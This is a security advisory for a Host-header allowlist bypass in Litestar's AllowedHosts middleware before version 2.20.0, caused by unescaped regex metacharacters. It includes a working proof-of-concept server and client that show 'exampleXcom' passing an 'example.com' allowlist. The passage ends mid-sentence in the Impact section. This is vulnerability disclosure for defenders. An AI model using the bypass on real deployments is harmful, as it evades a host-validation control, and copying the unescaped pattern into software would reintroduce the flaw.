Affected: litestar-org litestar

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.

Affected: PyPI: litestar

### Summary AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

### Details In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

### PoC Server (poc_allowed_hosts_server.py)

``` from litestar import Litestar, get from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/") async def index() -> str: return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"]) app = Litestar([index], allowed_hosts_config=config) ```

`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`

Client (poc_allowed_hosts_client.py)

``` import http.client

def req(host_header: str) -> tuple[int, bytes]: c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3) c.request("GET", "/", headers={"Host": host_header}) r = c.getresponse() body = r.read() c.close() return r.status, body

print("evil.com:", *req("evil.com")) print("exampleXcom:", *req("exampleXcom")) ```

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

### Impact Type: security control…